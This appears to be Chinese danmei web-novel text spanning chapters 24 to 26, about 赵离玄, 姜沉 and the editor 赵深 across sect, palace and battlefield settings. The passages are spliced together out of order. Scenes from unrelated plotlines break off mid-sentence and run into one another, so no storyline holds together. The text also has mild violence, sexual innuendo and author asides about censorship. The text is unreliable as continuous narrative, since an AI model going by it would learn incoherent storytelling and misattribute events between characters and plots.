姜沉毕竟曾经坐拥过天下第一魔琴殉音。 墙上这把如若不好,他也不会像刚才那般多看了它好几眼吧。 赵深于是果断蹭到柜台:“店家,您墙上那琴看着像是上好桐木所制,挂着不用岂不浪费?” “琴自然是好的。”掌柜的闻玄微微一笑:“公子可曾听说过‘花鸟鱼虫’四大名琴?” 赵深点了点头。赵离玄如此嚣张,自然也没少被狠狠告状。 棠棣仙门门规森严,然而赵离玄毕竟也是百年一遇的火灵根,长老们总是有很多顾忌 万一打坏了根骨,伤及了灵脉,这损失算谁的?岂不是宗门之憾? 那罚抄经?也怕他累着。 关禁闭?又怕他闷着。“好,好,你赢了。” 脖子上的手指冰凉,力道缓缓消失。 姜沉玄袖垂下,像是失去了全部力气一般,长发凌乱散落,冰冷阴鸷的脸上全是心灰意冷的自嘲。 “你赢了。阿玄你果然,呵根本就没有心。” 赵离玄 哎。哎,不是,等,等一下。那什么,大美人大美人,有话可以好好说的。 你、你,就,也不至于哭啊? 眼前男子侧过脸去,恶狠狠扬起一抹扭曲苦笑,死咬着牙表情极度阴鸷可怖。 可赵离玄还是瞧见了他拼命隐忍,仍有什么晶莹的东西静悄悄地滑到了那棱角分明的下颌上。 赵离玄:“~~~” 尽管吧,他是有点虚这个对他喊打喊杀的凶美人的。 但又如同任何一个立场不坚定、容易为美色所惑的亘古昏君般,明知美人带刺有毒依旧是美人落泪他心碎。 唉,就怎么说。 寡人确实有疾,寡人着实好色。 寡人怜香惜玉见不得美人黯然神伤! 就在赵离玄甚至偷偷手指动了动,妄图斗胆去替美人逝下泪痕时,突觉胸口一滞、继而眼前沉沉一黑。 “阿玄?” “呜”一口黏腻腥甜的血水从口中涌出,赵离玄也是心里一沉,只道不好。 喘不过来气了。 只怕是他甫一醒来就各种被砍被掐又上蹿下跳,搞得伤口裂开了吧? 完了完了。 没劲了,后背也开始发冷,我此番只怕真要完犊子! 耳边一片天旋地转的混乱。侍女的尖叫和哭嚎,人声脚步的纷乱复杂,灯影重重,冰凉的手紧紧地抱住他。 弥留之际,赵离玄听得男人在耳边吼他、厉声威胁他,声音扭曲。 带着涩哑一遍一遍,魔咒一样,“阿玄,阿玄” 其实也不是心疼他。实在是极品火灵根资质难得,各大门派虎视眈眈。 万一罚重了伤了孩子的心,让孩子一气之下从棠棣仙门跑了再投其他门派,那还得了??? 因此赵离玄每次受罚,多半是高高举起,轻轻落下,不痛不痒地训诫几句了事。 这种结果当然让师兄弟们咬牙切齿。 更可气的是这赵离玄虽成日惹是生非,却在修行一事上半点不曾懈怠! 本就是绝品火灵根,又十分勤勉,修为自然一日千里、无人能及。 之后几次宗门大比,他皆以压倒之势夺魁;偶尔外出历练,也是打遍同龄修士无敌手。很快稳居修真界炙手可热的青年才俊榜首,风头无俩。 这让那些看不惯他的人简直气结。 却又拿他毫无办法,打也打不过,只能眼睁睁看着他愈发横行无忌。 眼见着他繁花似锦前途无量,甚至还有传闻说,掌门已属意他将来继承衣钵,光大宗门? 一想到这睚眦必报的玩意将来要当他们掌门,众人就觉得眼前一黑。 更不要提这一两年,还常有魔晶暗种,灾祸频发。而修真界之中又一直都有“魔星照夜,双焰同辉。一者焚天以净孽,一者燎原以覆坤”的轮回。 用人话说意思就是,修真界魔气封而不灭。因此每隔百年,都会应运而生一位灭世魔星,当然同时修真正道也会有一位救世的“照夜君”横空出世。 历代照夜君,往往都天赋异禀、灵根出众。 在大母神的书中,“四大名琴”的声名,仅在被姜沉烧毁的魔琴殉音之下。其中任何一把也是难得一见的宝贝。 “在那四大名琴之中,鸟琴名为‘凤信’。墙上的这把,与那凤信同木而出,人称‘小凤信’,乃是小人家传宝物。家祖不敢高攀了那凤信名琴,后来便给它改了个名儿叫做‘小雀信’。” 小雀 小确幸? 赵深心中一动,偷眼看了看姜沉。这个名字好想买下送他! 然而这东西既不是俗物,直接问“多少钱肯卖”,对方想必是不卖的吧。 第 24 章 第 24 章 周玄乐那几日恰好负责议事厅洒扫,默默知晓背后不为人知的真相。 其实,众长老们对赵离玄恨意一点不少。本也是要挖其灵根、废去修为,丢出去山下自生自灭、以儆效尤以正门规的。 可姜师弟听闻此事,竟拖着濒死之躯,强撑着前来求情。 那日他伤得极重,胸口那截扇骨留下的伤口只差半寸便要插入心脉,能捡回一命也是万幸。 如今方才转醒,仍是灵力溃散、经脉紊乱,连站立都需人搀扶,面色苍白得近乎透明,却仍不惜跪倒在漫天暴雨中叩首跪求。 连日暴雨下极大,砸在青石阶上溅起冰冷的水花。 他就那样跪在阶下,无论怎样劝说都不肯走。一身素衣被血水和雨水浸透,紧紧贴在单薄的身躯上。 雨水冲刷他苍白失神的脸颊,与阶前未净的血迹混作一片。 甚至最后,他竟喘息着说出如若废去赵离玄修为,他便自焚灵脉、同断修为的疯话。 各长老又惊又怒,见他这副执拗模样又无计可施。 “沉儿这孩子,究竟图什么”多半是,依旧气着呢。 气鼓鼓的红着眼闹脾气,因而故意晾着我。 赵离玄扶额。 看来清早时那封“罪己诏”还不够狠。早知道就把自己骂得更狠一点,骂得狗血淋头! 唉,或再多送点礼物。 把我寝宫好看的、好玩的全给美人搬过去,以表诚意。 太难了太难了。 我一辈子也不记得哄过谁,我如何是好。 更何况就算要哄道歉赔不是,也总得让我见上姜沉一面才行吧? 傍晚,堂堂一国之君望眼欲穿,仿佛深宫怨妃一般愁云惨淡。 好容易烛火都明上,红衣拂陵又来了。 赵离玄:“公公!”天子寝宫,远远大门紧闭。 里面到底发生了什么!赵离玄他、他怎么样了! 拂陵公公来了,云飞樱儿双双四眼泪汪汪看到救星般:“拂陵公公呜,太吓人了!” “拂陵公公,您是姜沉身边的红人,您去劝劝姜沉吧?” 眯眯眼拂陵却丝毫不慌。 反而悠悠然坐下喝起了茶,一身红衣坐于梅花窗下倒也是一片好景色。 但! “拂陵公公,公公啊,您可不能见死不救啊” “呜呜公公救赵离玄一命吧?” 拂陵:“吵什么?” “岚主子惯常雷声大雨点小,你们放一百个心。” “主子便是弄死他自己,也弄不死你们赵离玄。” 话音未落,寝宫隐约传来了皇帝的吼声。 仔细一听,“一日夫|妻百日|恩”?(求婶核联系一下上下文) 拂陵:“看。” 挑眉继续喝茶。 又一会儿,仿佛,隐约地,寝宫里又传来了暧昧的chuan(也许呼吸也是错吧)息声! 樱儿:“???” 云飞:“???” 这下,就连拂陵公公的茶水,都“噗”地喷了一口。 很快,声音(被锁6次可还行)声加剧,带着些喑(佛了。)哑:“啊(恨不得用火星文写文)啊啊”“不|行了真不|行了”“我真的不行,我真的不可”。 在外三人 云飞捂住樱儿的耳朵:“你女孩子家家的,不能听这个!”(能听的!联系上下文就能听!比清水还清!!) “姜沉如何不来,莫不是还在生我的气?” “那,我送去的书信和礼物,姜沉都看到了么?” “拂陵公公辛苦,来来,这碗金瓜子公公先收下!务必替我美言两句!” 拂陵 “赵离玄莫慌。” “姜沉真的没生赵离玄的气。” “实是今日公务繁忙,姜沉特意吩咐奴才过来通传一声,让赵离玄先睡,不要等他。” “赵离玄无需多心,早些睡才是。” 赵离玄 那夜,身边没有美人相伴,偌大的龙床再闻不到沁人心脾的幽香。 突然很有种孤寒衾冷的感觉,都睡不习惯了。 次日,赵离玄继续翘首以盼。 从白天盼到黑夜,姜沉依旧没来。 又一日,姜沉还是不至。 赵离玄:“?!?!” “那逆徒那般对他,屡屡几乎取他性命,他何必还一次次以德报怨唉。” “终究是心慈太过!但这般性情,将来如何能担当斩妖除魔、匡扶正道的大任?”若论什么仇什么怨,说来也简单。仇怨不算深,此人只是碰巧位列《天衍纪》里赵深“最想打的人”排行榜NO.1而已。 当年,就是这老不休使了阴谋诡计,才害得姜沉的双腿残废,从此命途坎坷。此事其他人未必清楚,可赵深上帝视角却明明白白。而今这死老头竟然还不收敛,又要害人? 当下憋了口气,沉入丹田:“诸位肃静” “诸位,赵某这伤的由来,并非诸位所想那般。” “适才,其实是赵某主动向姜前辈比试讨教。众所周知,切磋之中难免失手,这并怪不得姜,要怪也只怪我自己不小心。” 说辞倒也有理,众人点头。那钱一升冷笑一声道:“唉,执剑长老初来中原、人又年轻纯良,怕是实不知个中人心险恶~既有那人掌印在,加之小徒亲眼看之实,长老就莫要再顾及掌门面子,替那十恶不赦的魔头隐瞒开脱了!” 寥寥几句、含沙射影。既在众人面前讥讽他这执剑长老年轻单蠢,又暗把掌门秦熠定义成了包庇魔头、居心叵测之人,重点是一脸苦口婆心演技还挺在线的。 只是可惜啊,可惜~蝼蚁日子,很快过了两年。 直到三年一度,仙门灵根大测。这个无人在意、自生自灭的小徒摸上测灵碑,瞬间冲天的赤红光柱惊动了整个修真界。 百年一遇的极品火灵根。 可不得了。月下安城。 邵霄凌一直以来只见过赵离玄肆意潇洒、无所不能的模样。 如今却见他蜷缩在床上弓起背脊,整个人浑身痉挛咬牙发抖,发不出声音。细碎的黑发黏在脸上、遮住眼睛,身下的席褥被冷汗一片湿透。 邵霄凌不禁一阵无措,颤抖着去摸他,那身子摸起来却是骇人的冰凉刺骨。 邵霄凌:“怎么会这样,阿玄!你、你哪里难受告诉我?” 他抬头,一脸着急看向楚丹樨:“他怎么突然就病成这样了?快、快去找安城最好的医者——” 楚丹樨垂眸,不愿多说:“他本就身体不好,不可疲累。休息两日就好了。” 休息两日? 可邵霄凌看他疼成那样,怎么看都不是休息一番就能好的样子! “呃……” 正想着,床上人强忍剧痛,突然翻滚挣扎着要滚落下来。邵霄凌连忙去接,却被旁边卫留夷一把挤开。 怀里湿淋淋的身子,像是从水里捞出来的玄冰。 “阿玄!”卫留夷睁大眼睛,只见怀中之人咬着下唇,不肯发出一丝声音,却是仰着颈子颤抖不已,似是痛得不成样子。 “阿玄,阿玄……” 他似是听见有人叫他,深灰近黑的眸子微微睁开,目光却是无力得几近涣散,无声喘息,卫留夷脑内一嗡。 彷如之前他在他怀中逐渐冰冷的样子,重来一次。 心脏簌簌发痛。 随即肩膀也一痛,楚丹樨的声音压抑着隐忍:“你放开他。” “放开,你不配碰他。你欠他的一辈子也还不了。若我那时在他身边,一定杀了你!” “想知道他为何变成这样?” “主人与我皆是月华族人,月圆之时会受月晖影响。他是城主,本就代月华城受月噬折磨,你又剥了他的髓珠,他更为虚弱,才会疼痛至此!” 卫留夷闻言如被一剑穿心,难以喘息。 怀中,赵离玄再度辗转。清晰可见他脖子上、脸上,原本狰狞的毒纹随着不断痉挛起伏胸口,正在不断增长、爬遍全身。 见那毒纹狰狞,邵霄凌亦是目眦欲裂。 他出门提了斧子,就要砍卫留夷。 李钩铃连忙去护自家少主。 嘈杂之中,赵离玄醒了。 他虽是痛极,倒还听得见。 这可不得了了!!!一国之君一觉醒来发现身边睡着个从未见过的人间殊色,那心路历程简直微妙极了。 这人间绝色究竟是谁? 赵离玄寻思着也不知是谁那么大胆,竟送此等祸国之色上龙床意图魅惑圣心。 此种行径,呵,简直是 我,重重有赏! 唉。寡人有疾寡人好色,寡人定力着实不怎么样。美人太好看了根本看不够。 这么想着,赵离玄挪了挪身子想要凑近再细看。可一动,才发现自己与那人竟是十指紧扣。 或者说,他的手指此刻正被男子紧握在掌心。 紧紧捏着,捏的他都有些痛了。 赵离玄挣了两下没挣开,却怎料用力之下蓦地牵起了一阵后背钻心的疼。 继而胸口、背部火烧一般的疼痛席卷而来,铺天盖地! 赵离玄没忍住,眯起狭目“嗷”的低声低吼了出来。 嗷!疼疼疼!好疼! 这是? 剧痛余韵中赵离玄低下头,只见自己浅金色的亵衣之下胸口处竟裹着的一层层白色纱布,很是扎眼! 再仔细一看,就连手腕、手指和大腿上也是一层一层又一层。 这 赵离玄不禁疑惑。我,为何会如此这般被白纱裹得一圈一圈,像个粽子? 我这貌似,是身负重伤? 但是何时受伤的,我自己怎么不记得? 动静一出,身旁人惊醒。 “阿玄?” 男人睁开眼睛之后,竟是一双浅色的狭目。 在烛火下星河闪耀流光溢彩,满是狂喜又似是不能置信。 “阿玄?阿玄!你终于醒了!” 一股熏衣冷香扑面,冰凉的指尖。 男人修长的指尖蹭着他的脸颊,小心翼翼如待稀世珍宝。 手指有多冷,目光就有多炙热灼人。浅瞳中无数情绪明灭,似心疼狂喜,又似悲伤晦涩。 “醒了就好。”他声音哑涩,“阿玄,醒了就好。” “还以为再也醒不过来了,阿玄你是要吓死我?” 他说着伸手便要抱他,却又怕碰疼了他,快要碰触时涩然收住。 而赵离玄此刻还沉浸在浑身伤口疼痛的余韵中,龇牙咧嘴地迷惑着 阿玄? 阿玄是在叫谁?我又不是什么“阿玄”。 我是 等等,不对劲!我姓甚名谁来着? 奇怪了,为什么会想不起? 完了完了,我怎么什么都想不起了?! 一下子震惊艳羡目光,全都落在了这个曾经的小乞丐身上。 古人云,三十年河东三十年河西,风水轮流转。 赵离玄一朝翻身,尾巴立刻翘上天。 以前多么卑微听话一个人,如今哪儿还知道什么叫做低伏小? 立刻一个大变脸,绫罗绸缎穿起来了,单独别院住起来了。 也开始嫌弃饭堂的东西难吃,要求单独开小灶了。 别院里的雕梁画栋、精致陈设也弄起来了。 宗门分发资源他也不装了,不仅次次都要第一个挑,还常常嫌弃这个品相差,那个灵气弱。 以前总是堆满讨好笑容的脸,如今也换成了典型的三分凉薄,七分漫不经心的骄矜。 一张嘴更像是淬了毒。 “哟,周师兄,今天御剑又摔了啊?” “呵呵白师姐,您这剑舞得那是敌人半点伤不着你,你也半点伤不着敌人!” “不是吧不是吧,我从山下捡的三脚黑猫都会后空翻啦,罗师兄您这追风犬怎么三年了还没学会御风啊?” “啊?什么什么?不会有人笨到跨境界学功法都不会吧?” “你们在说什么啊?筑基中期怎么可能看不懂金丹初期的功法,不是应该随便看看就一目了然了吗?” 赵深翻了个白眼,就算是我没看过书,应该也会选长得好看的那边站队吧。所以您老不如还是早点回去洗洗睡? 于是仍笑道:“宗主多虑,赵某适才与姜前辈确实只是切磋比试。难道比起赵某所玄,宗主更愿意相信十来岁小孩子的‘真知灼见’?” 钱一升嘴角勾起一丝森冷:“徒儿年岁小、心性单纯,不懂撒谎骗人。” “宗主既然如此笃定~”赵深伸出没折的那只手,拍了拍老头肩膀,笑眼中悄然一道寒光闪过。 “八年前清平谷中的那个孩子,也该是纯良天真、不会撒谎的了?” 钱一升脸色骤变。“诛九族?阿玄是要诛臣的九族?” 男人闻言,阴鸷已极的脸上生生扯出一抹荒谬乖戾的嘲讽。 他突然开始笑,笑得血红的眼睛里蓄满了死寂的水光,满目深不见底的绝望。 “好,你诛。” “阿玄,你诛。是要将我碎尸万段抑或挫骨扬灰,一切随你,统统随你。” 赵离玄:“咳,不是” 他疯狂想要澄清却苦于发不出声音。冤!他适才的那句“诛九族”其实真正想表达的意思是 他是真的啥也记不起来了!一点也记不起来了。所以这位爱卿,兄台,少侠?你就算当场掐死我也并没有什么用啊?再这样下去我一命呜呼你也是弑君犯上满门抄斩,咱俩谁也没落着好何必呢! 再说你长得这般俊,你家人肯定也都俊。那一窝子大美人都得杀头多可惜呀!所以冷静点与我坐下来好好解决问题不行吗? 以上,才是他真正想表达的全部内容。 然而被掐着脖子哪有机会能完完整整说出这么长一段。只能捡重点说,好死不死“诛九族”三个字直接揭了对方逆鳞! 赵离玄此刻的内心简直是老白菜地里黄。 虽说吧,对方是个绝色美男。 虽说吧,古人云过的,牡丹花下死做鬼也风流 可他还啥都没搞清呢,并不想就这么死得那么不明不白啊!? 八年前,枫叶山庄玄火宗一行奉命采买兵器,路过清平谷村落,夜借宿于村众富户之家。 宴席之间,钱一升见那主人家爱妾总用一双媚眼瞧他,似有风月之意,便趁夜半摸去那妇人房中。谁想那妇人却说要叫人,他一时羞恼,失手将人掐死,而这一切都被主人家的小女儿看在眼里。 可后来知晓此事的人,应该早都已经被他全部料理掉了才对。这一直住在巴蜀、从未踏足中原的赵门二少,却又是从哪里听来的传玄? 钱一升当下背心湿透,额间冒汗。无论如何,这些年他好容易才爬到玄火宗宗主的位置,这件旧事决计不能再有人知道! 这么想着,已咬牙偷偷按上了腰间配剑。 赵离玄当然知道,对方剑若出鞘,凭他一个现代宅男肯定是躲不过去的。 只是,这钱一升又真敢拔剑么? 第 25 章 第 25 章 金蟾宗势大,此次认亲宴办得自然极尽奢华。 棠棣仙门这边,掌门和几位有头有脸的长老皆也不得不带上厚礼亲自前往。 即便心知肚明昔日纠葛龃龉,此刻也得纷纷换上笑脸,在主人家面前对这位失而复得的宝贝儿子交口称赞: "离玄师侄当年在门中啊,那便天赋异禀,聪明绝顶!同辈中无人能及!不愧是金蟾宗嫡系!" "师侄向来行事豪爽,颇有魄力,又活泼率真、仗义执言,师门上下无不敬服。果然是虎父无犬子!" 一时间,赵离玄过往遭人诟病之种种行径,皆被说成了天才贵子的与众不同、天赋异禀、特立独行、年少锐气。 弟子中受邀者不多,除了那些年跟在赵离玄身边的旧部狐朋。 请柬上特意点名邀请的,唯有姜沉与白霜澄二人。赵深善意提醒,只是想让“大母神”的腐之触|手稍微收敛一点。可隔日看到更新,直接一大口盐汽水直接喷在屏幕上,就连祖传的低音炮都吓成了尖利的伪娘音。 “大神你、你把良宵真人写死了?Σ(っ°Д °;)っ” “嗯啊。这下不基了?”许是众人的怨念上了达天听。 终于,又过了一年。能治他的人来了。 与世无争的小仙门弦月阁惨遭魔族屠戮,满门上下仅余小少主存活。 可怜那小少主无依无靠,棠棣仙门便好心将其带回收留,顺带手测其灵根 谁知,测灵碑竟发出了比赵离玄当年更为炽烈纯粹的光华! 千年一遇极品火灵根。话虽如此,依旧没有道理坐以待毙。 赵离玄是个很有点鬼主意的男人。好容易,疼痛渐远。 姜沉:“拂陵,去煮一碗参汤来。” “慢着。阿玄不喜苦,记得多拿几颗饴糖。” 淡淡幽香中,赵离玄终于不疼了,却反而懒懒再不愿去想那些乱七八糟。 一碗参汤,姜沉都怕他被苦着。 他还要什么。 赵离玄虽不记得自己的前尘,却还记得读过的一大堆史书。 一国之君,万人之上。 在寻常人想来,肯定后宫佳丽三千不愁钱花,那叫一个人上人的快乐。 却真未必。 百姓有百姓苦,帝王家有帝王家的难。 一个皇子想要坐上那万中无一的位置,要多么谨小慎微、如履薄冰,多少刀光剑影九死一生才能达成。 最伤心的是,坐上帝位并非故事的结局。 百官制约,权臣辖制、身不由己、受气、无奈、无法信任任何人,杀兄弟杀老婆杀儿子杀爱人的比比皆是。 小话本之所以能成人人爱看的小话本,是因为皇帝开开心心被人咸鱼包养,绝对不能算是个坏结局。 “阿玄。” “阿玄,还疼不疼?” 姜沉一声唤,赵离玄回过神来。 他摇了摇头。姜沉不语,只把他抱紧了。 半晌。“给你看。” “起居注,史书,阿玄想看的,都给你看。阿玄不要逼自己,太医说你不能过度思虑。” 既然写一堆言辞软软、情义诚恳的书信没有效果,送小礼物也不见回复,果断换策略! 隔日,赵离玄铺开笔墨。 花一个时辰,精心细细绘制了一幅《姜沉风流出浴图》。 云飞樱儿:“这!嗷,赵离玄,不行!这也太!QAQ” “赵离玄快快别画了,万一被瞧见了”怕要又要惹怒姜沉,然后在龙床再度被酱酱酿酿得好肿好肿。 不过话又说回来,堂堂当朝天子是从哪儿学会的这般污人眼睛的小画片的!? 殊不知姜沉正因为生得出尘俊美、风华绝代,最讨厌别人拿他的样貌来胡乱编排。 大夏京城里卖小话本和小画像的书店许多,就连一本正经的大理寺奚卿的都有人敢偷偷画。 却从无一人敢编排姜沉。 就因人尽皆知,姜沉忌讳这个。编排姜沉被乌衣卫抓住可是要被罚到倾家荡产的! 结果眼下皇帝倒好? 赵离玄不仅画了,还大咧咧签名盖章:“来人,将这幅画送至姜沉宫中,务必请姜沉亲自阅览。” 我,就是要惹怒姜沉! 他能拎着一把宝剑来削我,我就赢了。 但凡只要能见面、只要能说上话。我便可以祭出一百个史书上学来的夸夸秘方,就不信列祖列宗太|祖武帝们的聪明才智加上我的英俊无赖,会哄不好岚岚? 结果。 如此让人血脉喷张、不忍直视的一张《姜沉风流出浴图》,送去点绛宫后依旧石沉大海,没有半点回音。 这! 赵离玄忍不住都怀念起了被姜沉红着眼掐脖子的那段日子。 古人云,打是亲骂是爱,爱的背面是冷漠。 这都没反应。我莫不是,在姜沉心里真的凉了吧? 赵离玄不禁默然回首看了一眼龙床。 人的底线果然都是一步步后挪的。 他此刻盯着那龙床,竟正在认真寻思着实在不行,大不了我,一国之君,能屈能伸,豁出去了,卖身求荣。 整个宗门瞬间沸腾,所有人都涌去看热闹。 那新来的小师弟名唤姜沉,大概刚经历了灭门惨祸尚未恢复,其人极为寡言阴郁,一双黑瞳深不见底,看人时定定的,透着寒意,问十句也未必能回一句。 但这丝毫不影响讨厌赵离玄的师兄弟神清气爽、弹冠相庆。 因为,全方位地比下去了!洛州眼下虽是军弱、粮少,唯有一点好,众人心齐且听话。 就如钱奎,硬生生收住了想追杀樱祖的心,完好地履行了大将军的职责所在。 一会儿,单兵追杀樱祖的楚丹樨也回来了,摇了摇头。 罢了罢了!钱奎叹气,重锤扔进图里。这黑衣护卫那么厉害都没追到,今日就是樱祖那狗贼命不该绝,唉。 算了,就当再多折磨他一次。 下次必让他再体会一次同样的惨败! 夜幕已深。 洛州军虽然刚打完一仗,但无人抱怨疲累,而是一鼓作气立刻往池城方向进发,士气大振。 月华城主名不虚传。 天降洛州福祉,刚才那一仗高明又漂亮。一雪前耻! 士兵兴奋,将领更兴奋。 钱奎的马即使急行军中,全程围着赵离玄转。 之前军营月华城主骑射连中靶心,他都没能完全服气。可刚才那场扬眉吐气的胜仗,月华城主在他心中地位俨然至少有了路霆云老将军的一半! “城主,您教咱们的绊马绳实在太好用了。待会儿还做么?” “城主,大仇得报实在爽快!待见了随州军,咱们也一样杀他们个屁滚尿流!” 赵离玄小声提醒他:“将军,切勿轻敌。” 钱奎挠挠头:“嘿嘿,是是是。” 有人欢喜有人忧。 李钩铃策马默默垂眸,另一侧行着。 刚才那一仗确实利落漂亮,她欣慰的同时,亦不免心有不甘。 这个人本是属于乌恒的。 自家不可多得的宝藏,却在别人家里闪闪发光。 她并非不愿见洛州复兴。当年天昌之战时,她还和爹娘一起为洛州旧主他们哭了一场来着。 可是,终究意难平! “阿铃。” 忽然,赵离玄叫他。 她回过头,只见他微笑,目有清晖:“刚才在翡翠谷中,打得开心么?” 李钩铃一愣。 开心。 当然开心。 她的指尖此刻还在热血与兴奋中微微颤抖。好久没有那么酣畅淋漓,她虽身为骁骑将军,但这种感觉一生仅只有几次—— 上一次,是在恒城城楼上火光冲天,他们一起追着西凉军打。 也是畅快淋漓。 她身在武将世家,自小不爱红装爱武装,练就一身武艺就是立志要建功立业。 可惜那么多年,少有施展。 少主偏安一隅,她仅有的几次骄傲战绩,都是在月华城主身边…… 李钩铃忽然警醒,心里吓了一跳。 一双榛子色的大眼睛惊疑不定看向赵离玄,却见那人没有再看他,而是垂眸一脸温和,在和怀里洛州小小少主说着话。 李钩铃:“……” 她不能确定,月华城主适才问她那话是否别有深意。 但她李氏一族,世世代代皆乌恒名门。就算旁人再好、再懂得她心意,她……也是不会背叛乌恒的! 哈哈哈,人比人该死、货比货该扔。一山还有一山高! 你赵离玄越发出落得潇洒不凡不是吗? 堂堂大夏锦裕帝赵离玄失忆了,但这还不是最严重的问题。 最严重的问题是他堂堂一朝天子,仿佛、立刻、马上就要被逆臣贼子给手刃了??? 赵离玄觉得非常冤。 一觉醒来发现自己一身伤还莫名失了忆,本来就足够懵遭一脸了。 然后他也只不过就是真诚问了眼前男子一句“你是谁”而已。 他啥都想不起来了,想不起来可不就得问吗? 《君王策》三十六条曰,不懂就问! 不记得自己叫什么,也不记得自己列祖列宗姓甚名谁,不记得任何后妃爱妾、忠臣良将的名字和脸,却还记得《君王策》整书怎么背,赵离玄也是无话可说。 一句“你是谁”没有得到任何答案,只得到了一阵天旋地转。 身子顷刻之间便被摁在龙床、狠狠压在身下,那男人黑发如瀑散得他一身都是。 凉凉凉!这人不仅手指凉,头发丝也冰凉! 还有真的疼!!! 龙床虽软,可赵离玄毕竟浑身是伤着实禁不起这样狠狠一下折腾,一时间疼得眼泪都快出来了。 更要命的是,刚才还满眼温柔、连抱一下都怕弄疼他的男人此刻神情全变了! 顷刻敛去之前的全部温柔,眼尾血红、薄唇紧抿死死盯着他,眸色里一片冰冻千里。 “赵离玄,”他的声音带着些微颤抖哑声,“你又想耍什么花招?” 赵离玄:“???” 不是,他如今什么都不记得了,能耍什么花招呀??? 可尚不及解释,那双冰凉的手直接死死卡住了他的脖子!压着他的男人气息已然不稳。烛光映在那俊美桀骜的脸上,却只照出阴鸷癫狂的山雨欲来。 “赵离玄,装失忆很好玩?” 不好玩不好玩! “那你便认真想,想清了再好好重说一次你是谁?而我,又是谁?” 烛火明亮,啪啦一声,片刻后又啪啦一声,照得漫长的沉寂中男人目中一片幽深。久久等不来答案,他咬牙收拢手指,皇帝的颈子瞬间被绞紧。 赵离玄:不、不能呼吸了! “咳咳咳,放诛九族咳” 可不过也只是凡尘俗男子的俊朗罢了。这位姜师弟可是冷到极致、近乎锋利的俊美漂亮,分明是只应画中存在的神仙姿容! 你是百年一遇火灵根不是吗? 人家千年一遇! 这对比惨烈得令人心旷神怡。 是不基了,但毫无征兆神转折啊我去!而且这不就BE了吗?说好的HE呢? “结局是男主带后宫团集体飞升,标准的HE。” “口胡!真爱都死了,再补多少个后宫有什么用?!” 大母神:“赵编,你到底站女主还是站男二?” 我谁都不站!作为一个责编的职业素养我只站剧情不崩! 然而,时运不济、命运多舛,怕什么来什么。 一玄不合死男二?那真的不算什么!“大母神”双开的另一篇文,那才真是落花流水地崩成了传说中的“尿崩性文崩”。 那是一篇星际文,主角一路升级打脸征服宇宙开拓疆土+收妹子,剧情非常爽嗨,五十万字高居金榜首位。 好好的走向,却不知道大母神突然受了什么刺激,毫无征兆笔锋一转男主某次任务装X失败,被敌人给掳、走、了! 好吧,偶尔的小挫折不算虐主。但是,后续的发展那是什么玩意儿?被囚禁被折磨?呵呵,图样图森破! 男主他!被敌人注射了新式药品!药品作用是性!转! 就这样,直男男主性转成了个爆|乳萌妹,被外星触|手囚禁小黑屋每天不停hhh,就这样热血打脸文基因突变,逆生长成为一个纯肉无下限暗黑脑洞小黄文。 赵深伏案猛灌哈啤,觉得自己的工作简直难于上青天。 第 26 章 第 26 章 “呜,呜呜呜,呜呜呜” 赵深想着,眼眶有点酸涩,却忽然听到身边传来店家掌柜的声声抽泣,那人似乎全然已沉浸在琴音无尽的悲哀之中,想到了什么伤心事一般自顾自越哭越惨。 “师弟,师弟,你还好吗?没事吧?” 假山顶上,良宵亦头埋在双膝中。宫渡明显慌了神,正悄声在哄他。 【赵编,我要抗议了啊。】 姜慎行更是端着一小碟酥油的甜饼,心电感应强势插入。 【月黑风高夜,好好的干嘛叫他弹这种伤心的曲子啊?老子刚才去后厨要小甜饼,厨房里面哭倒整整一片,要不是我天性乐观】 他话说到一半,却愕然看向何采薇,一张俊脸上带了些震惊的抽搐。 赵深转眼过去,亦是一惊。 姜沉初拨琴弦时,他分明看到那何采薇捏紧了裙子,脸颊微红眼中带光,一副典型的少女盈盈羞怯状望着他。 然而此刻,却见那少女面色发青、死咬牙关,双手穿过乱发捂住耳朵,似是在抱头无声尖叫,曲折身体表情狰狞,眼中尽是痛苦血色。 这什么怎么了? 什么情况?好在姜沉的反应,多少给了众人最后一丝安慰。 少年依旧是一张冰雪雕成的脸,黑沉沉的瞳孔里没有任何情绪。对于赵离玄示好的话语,也只是漠然地安静听着。 甚至在赵离玄套近乎想拍拍他肩膀时,微不可察地后退了半步,避开了触碰。 幸好!兵刃相接。赵离玄顺了顺气,努力视若无睹。 并安慰自己,这几本书也许是被火焚烧后刚好重抄,恰巧墨迹未干而已。 但不幸,他十分清楚地记得大夏史馆规矩! 就算起居注原本真在几个月前大火“被烧了”,副本也该早早重抄妥当。皇家重史不是儿戏,绝不可能拖到今日再匆忙现抄。 皇帝默默,把青梅茶喝到见底。 又从杯底拈起青梅,啊呜咬了一口。 这梅子,不但青色的特别莹润好看,滋味也酸酸甜甜的。像姜沉。 唉姜沉绝美。不管俊美肃穆时,又或者困倦可爱时,就连压抑生气和沉默寂寥的模样,都让人放不下。 赵离玄从第一次瞧见姜沉,就心旌动摇。 但凡,姜沉能不是个囚禁了他的摄政权臣。 但凡姜沉能稍稍真诚一点,不要变着法子与他斗智斗勇!!! 赵离玄后悔了。 他就该认栽,咸鱼躺平。 搞什么一直要一直要看那劳什子的《起居注》? 如今好了,自己给自己找事。 拿着这狗啃一样的假起居注,赵离玄思绪万千。 是,姜沉那么多的委屈寂寥,红着眼说赵离玄你别再骗我,赵离玄你根本没有心。 可若是真有那么的委屈,怎么连《起居注》原版都不敢给我看??? 此事有诈。 必然有诈。 邵霄凌的斧刃,那一刻距离樱祖的头颅不到半尺。 他甚至清楚看到老贼眼里的震惊恐惧,却只差一点,被一股强大的力量猛地震开。 樱祖身边一直有几名仪州骁勇猛将。其中右卫将军一把抢过樱祖,掩护他撤离。而左卫将军则拦住邵霄凌,重刀迎面劈下! 呼啸的刃风堪堪划过颈侧,果然是名不虚传的武将,功夫不俗。 邵霄凌提斧应战,斧刀交映火星蹦起。谁知那人竟会使双刀,另一刀以刁钻的角度冲着他的脖子狠狠抹来。 那一瞬邵霄凌想了很多。垒完了花圃,傍晚,赵离玄又让闻樱沏了一大壶龙眼百合茶。 越陆进贡的龙眼名贵,个大肉多,泡出来的茶十分安神利眠。 “我突然又不想喝这个了,去给我换一壶青梅茶来。” 皇家传统,赵离玄吃不完的精致点心、用不完喝不完的名贵茶品就是赏给下人了。 越陆龙眼众所周知的金贵,哪怕宫中也难得一尝,赵离玄笃定云飞樱儿肯定舍不得让给别人。 这就对了。 你俩给我吃完喝净,晚上好好睡。 我好爬墙! 是夜,小侍卫和小侍女果然睡得又香又沉。 